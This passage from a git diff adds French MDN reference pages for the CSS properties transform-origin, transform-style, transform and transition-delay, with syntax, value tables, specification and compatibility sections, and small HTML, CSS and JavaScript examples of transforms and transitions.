+   <li>Un mot-clé parmi <code>left</code>, <code>center</code>, <code>right</code>, <code>top</code>, <code>bottom</code>.</li>
+  </ul>
+ </li>
+ <li>Avec deux valeurs
+  <ul>
+   <li>La première valeur doit être une longueur (type {{cssxref("&lt;length&gt;")}}), un pourcentage (type {{cssxref("&lt;percentage&gt;")}} ou un mot-clé parmi <code>left</code>, <code>center</code>, <code>right</code></li>
+   <li>La seconde valeur doit être une longueur (type {{cssxref("&lt;length&gt;")}}), un pourcentage (type {{cssxref("&lt;percentage&gt;")}} ou un mot-clé parmi <code>top</code>, <code>center</code>, <code>bottom</code>.</li>
+  </ul>
+ </li>
+ <li>Avec trois valeurs
+  <ul>
+   <li>Les deux premières valeurs doivent être structurées comme la syntaxe avec deux valeurs</li>
+   <li>La troisième valeur doit être une longueur (type {{cssxref("length")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>x-offset</code></dt>
+ <dd>Une valeur du type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}} qui décrit la distance, depuis le bord gauche de la boîte, à laquelle l'origine de la transformation sera placée.</dd>
+ <dt><code>offset-keyword</code></dt>
+ <dd>Un mot-clé parmi <code>left</code>, <code>right</code>, <code>top</code>, <code>bottom</code> ou <code>center</code> qui décrit le décalage correspondant.</dd>
+ <dt><code>y-offset</code></dt>
+ <dd>Une valeur du type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}} qui décrit la distance, depuis le bord haut de la boîte, à laquelle l'origine de la transformation sera placée.</dd>
+ <dt><code>x-offset-keyword</code></dt>
+ <dd>Un mot-clé parmi <code>left</code>, <code>right</code> ou <code>center</code> qui décrit la distance, depuis le bord gauche de la boîte, à laquelle l'origine de la transformation sera placée.</dd>
+ <dt><code>y-offset-keyword</code></dt>
+ <dd>Un mot-clé parmi <code>top</code>, <code>bottom</code> ou <code>center</code> qui décrit la distance, depuis le bord haut de la boîte, à laquelle l'origine de la transformation sera placée.</dd>
+ <dt><code>z-offset</code></dt>
+ <dd>Une valeur du type {{cssxref("&lt;length&gt;")}} (et jamais une valeur du type {{cssxref("&lt;percentage&gt;")}}, sinon la déclaration serait invalide) qui décrit la distance, depuis l'œil de l'utilisateur, de l'origine de la transformation sur l'axe de profondeur (z)..</dd>
+</dl>
+
+<p>Les mots-clés sont des raccourcis qui correspondent aux valeurs {{cssxref("&lt;percentage&gt;")}} suivantes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Mot-clé</th>
+   <th scope="col">Valeur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>0%</code></td>
+  </tr>
+  <tr>
+   <td><code>center</code></td>
+   <td><code>50%</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <td><code>top</code></td>
+   <td><code>0%</code></td>
+  </tr>
+  <tr>
+   <td><code>bottom</code></td>
+   <td><code>100%</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir la page sur <a class="internal" href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">l'utilisation des transformations CSS</a> pour des exemples supplémentaires.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Code</th>
+   <th>Exemple</th>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: none;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_none">
+    <pre class="brush: html">
+&lt;div class="box1"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box1 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: none;
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_none', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate_only">
+    <pre class="brush: html">
+&lt;div class="box2"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box2 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_rotate_only', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);<br>
+     transform-origin: 0 0;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate">
+    <pre class="brush: html">
+&lt;div class="box3"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box3 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform-origin: 0 0;
+transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_rotate', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);<br>
+     transform-origin: 100% 100%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate_with_percentage">
+    <pre class="brush: html">
+&lt;div class="box4"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box4 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform-origin: 100% 100%;
+transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_rotate_with_percentage', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);<br>
+     transform-origin: -10em -30em;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate_with_em">
+    <pre class="brush: html">
+&lt;div class="box5"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box5 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform-origin: -10em -30em;
+transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_rotate_with_em', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: scale(1.9);</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_scale_only">
+    <pre class="brush: html">
+&lt;div class="box6"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box6 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: scale(1.9);
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_scale_only', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: scale(1.9);<br>
+     transform-origin: 0 0;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_scale_without_origin">
+    <pre class="brush: html">
+&lt;div class="box7"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box7 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: scale(1.9);
+transform-origin: 0 0;
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_scale_without_origin', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: scale(1.9);<br>
+     transform-origin: 100% -30%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_scale">
+    <pre class="brush: html">
+&lt;div class="box8"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box8 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: scale(1.9);
+transform-origin: 100% -30%;
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_scale', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: skewX(50deg);<br>
+     transform-origin: 100% -30%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_skew_x">
+    <pre class="brush: html">
+&lt;div class="box9"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box9 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: skewX(50deg);
+transform-origin: 100% -30%;
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_skew_x', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: skewY(50deg);<br>
+     transform-origin: 100% -30%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_skew_y">
+    <pre class="brush: html">
+&lt;div class="box10"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box10 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: skewY(50deg);
+transform-origin: 100% -30%;
+}
+</pre>
+    </div>
+
+    <p>{{EmbedLiveSample('transform_skew_y', '', '120', '', '', 'no-button') }}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-origin-property', 'transform-origin')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transform-origin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></li>
+ <li><a href="https://css-tricks.com/almanac/properties/t/transform-origin/">https://css-tricks.com/almanac/properties/t/transform-origin/</a></li>
+</ul>
diff --git a/files/fr/web/css/transform-style/index.html b/files/fr/web/css/transform-style/index.html
new file mode 100644
index 0000000000..7aa0e24ccc
--- /dev/null
+++ b/files/fr/web/css/transform-style/index.html
@@ -0,0 +1,80 @@
+---
+title: transform-style
+slug: Web/CSS/transform-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>transform-style</code></strong> définit si les éléments-fils d'un éléments sont positionnés dans l'espace tridimensionnel ou s'ils sont aplatis dans le plan de l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>S'ils sont aplanis, les éléments-fils n'auront pas d'espace tridimensionnel propre.</p>
+
+<p>Cette propriété n'est pas héritée et doit donc être définie sur tous les descendants de l'éléments qui ne sont pas des feuilles (autrement dit des descendants qui n'ont aucun fils).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+transform-style: preserve-3d;
+transform-style: flat;
+
+/* Valeurs globales */
+transform-style: inherit;
+transform-style: initial;
+transform-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>flat</code></dt>
+ <dd>Indique que les fils de l'éléments sont positionnés dans le plan de l'élément.</dd>
+ <dt><code>preserve-3d</code></dt>
+ <dd>Indique que les fils de l'élément ciblé doivent être positionnés dans l'espace tridimensionnel.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-style-property', 'transform-style')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transform-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/transform/index.html b/files/fr/web/css/transform/index.html
new file mode 100644
index 0000000000..adde4477a9
--- /dev/null
+++ b/files/fr/web/css/transform/index.html
@@ -0,0 +1,160 @@
+---
+title: transform
+slug: Web/CSS/transform
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transform</code></strong> modifie l'espace de coordonnées utilisé pour la mise en forme visuelle. Grâce à cette propriété, il est possible de translater les éléments, de les tourner, d'appliquer des homothéties, de les distordre pour en changer la perspective.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si la propriété est différente de <code>none</code>, un <a href="/fr/docs/Web/CSS/Comprendre_z-index/L'empilement_de_couches">contexte d'empilement</a> sera créé. Dans ce cas, l'élément agira comme le bloc englobant pour les éléments qu'il contient et qui ont <code>position</code><code>: fixed;</code> ou <code>position: absolute;</code>.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Seuls certains éléments peuvent être transformés. Les éléments dont la disposition est gérée avec des <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Mod%C3%A8le_de_mise_en_forme_visuelle#Les_%C3%A9l%C3%A9ments_en_ligne_et_les_bo%C3%AEtes_en_ligne">boîtes en ligne non-remplacées</a>, des <a href="/fr/docs/Web/HTML/Element/col">colonnes de tableau</a> ou des <a href="/fr/docs/Web/HTML/Element/colgroup">groupes de colonnes de tableau</a> ne peuvent pas être transformés.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+transform: none;
+
+/* Valeurs fonctionnelles */
+transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
+transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
+
+transform: translate(12px, 50%);
+transform: translateX(2em);
+transform: translateY(3in);
+transform: translateZ(2px);
+transform: translate3d(12px, 50%, 3em);
+
+transform: scale(2, 0.5);
+transform: scaleX(2);
+transform: scaleY(0.5);
+transform: scaleZ(0.3);
+transform: scale3d(2.5, 1.2, 0.3);
+
+transform: skew(30deg, 20deg);
+transform: skewX(30deg);
+transform: skewY(1.07rad);
+
+transform: rotate(0.5turn);
+transform: rotateX(10deg);
+transform: rotateY(10deg);
+transform: rotateZ(10deg);
+transform: rotate3d(1, 2.0, 3.0, 10deg);
+
+transform: perspective(17px);
+
+/* Valeurs avec plusieurs fonctions */
+transform: translateX(10px) rotate(10deg) translateY(5px);
+transform: perspective(500px) translate(10px, 0, 20px) rotateY(3deg);
+
+/* Valeurs globales */
+transform: inherit;
+transform: initial;
+transform: unset;
+</pre>
+
+<p>La propriété <code>transform</code> peut être définie avec le mot-clé <code><a href="#none">none</a></code> ou une ou plusieurs valeurs de type <code><a href="#transform-function">&lt;transform-function&gt;</a></code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;transform-function&gt;")}}</dt>
+ <dd>Une ou plusieurs <a href="/fr/docs/Web/CSS/transform-function">fonctions de transformation CSS</a> à appliquer. Les transformations qui sont composées entre elles sont appliquées dans l'ordre, de gauche à droite.</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucune transformation ne sera appliquée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si on utilise plusieurs fonctions dont <code><a href="/fr/docs/Web/CSS/transform-function/perspective">perspective()</a></code>, celle-ci devra apparaître en premier.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir la page sur <a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">l'utilisation des transformations CSS</a>, {(cssxref("&lt;transform-function&gt;")}} ou l'exemple suivant.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;L'élément transformé&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  border: solid red;
+
+  -webkit-transform: translate(100px) rotate(20deg);
+  -webkit-transform-origin: 0 -250px;
+
+  transform: translate(100px) rotate(20deg);
+  transform-origin: 0 -250px;
+}</pre>
+
+<p>{{EmbedLiveSample("Exemples", "400", "170")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les animations de déplacement ou de zoom peuvent poser des problèmes d'accessibilité en déclenchant certaines migraines. Si vous devez inclure des animations sur votre site web, vous devez fournir aux utilisateurs une méthode qui leur permette de réduire voire de désactiver les animations sur l'ensemble du site.</p>
+
+<p>À cet égard, on pourra utiliser la caractéristique média <code><a href="/fr/docs/Web/CSS/@media/prefers-reduced-motion">prefers-reduced-motion</a></code> qui permet d'utiliser une requête média pour désactiver les animations si l'utilisateur a indiqué une telle préférence via son système / son navigateur.</p>
+
+<p>Pour en savoir plus :</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.3_%E2%80%94_Seizures_and_Physical_Reactions_Do_not_design_content_in_a_way_that_is_known_to_cause_seizures_or_physical_reactions">MDN : Comprendre WCAG - Explications pour les lignes directrives 2.3</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions">Comprendre les critères de succès 2.3.3 - W3C - Comprendre WCAG 2.1</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Ajout des fonctions de transformation en 3D.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transform")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></li>
+ <li>Le type de donnée {{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><a href="https://paulirish.com/2010/introducing-css3please/#comment-36380">Plus d'informations sur les rotations CSS3 et les filtres matriciels sur le blog de Paul Irish</a></li>
+</ul>
diff --git a/files/fr/web/css/transition-delay/index.html b/files/fr/web/css/transition-delay/index.html
new file mode 100644
index 0000000000..8d3991d0a2
--- /dev/null
+++ b/files/fr/web/css/transition-delay/index.html
@@ -0,0 +1,357 @@
+---
+title: transition-delay
+slug: Web/CSS/transition-delay
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Transitions
+translation_of: Web/CSS/transition-delay
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transition-delay</code></strong> indique la durée à attendre avant de débuter la transition qui s'applique pour un changement de propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-delay.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette durée peut être nulle, positive ou négative :</p>
+
+<ul>
+ <li>Une valeur de <code>0s</code> ou <code>0ms</code> indique que l'animation correspondante démarrera immédiatement lorsque la valeur sera modifiée.</li>
+ <li>Une valeur positive permettra d'attendre avant de démarrer l'effet de transition.</li>
+ <li>Une valeur négative lancera l'animation immédiatement mais à partir d'un état intermédiaire (comme si la  transition avait déjà commencé).</li>
+</ul>
+
+<p>Il est possible d'indiquer plusieurs valeurs d'attente. Chaque valeur sera appliquée à la propriété correspondante donnée par la liste {{cssxref("transition-property")}} (qui agit comme un index des propriétés concernées par les transitions). S'il n'y a pas suffisamment de valeurs dans cette liste, les valeurs précédentes seront répétées jusqu'à ce qu'il y en ait suffisamment. S'il y a plus de valeurs d'attente que d'éléments dans {{cssxref("transition-property")}}, la liste est simplement tronquée. Dans les deux cas, la déclaration CSS est considérée comme valide.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs temporelles */
+/* Type &lt;time&gt; */
+transition-delay: 3s;
+transition-delay: 2s, 4ms;
+
+/* Valeurs globales */
+transition-delay: inherit;
+transition-delay: initial;
+transition-delay: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Une valeur {{cssxref("&lt;time&gt;")}} qui indique la durée à attendre avant de démarrer l'effet de transition déclenché par le changement de valeur d'une propriété.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div>
+<div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+</div>
+
+<div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+</div>
+
+<div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+</div>
+
+<div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
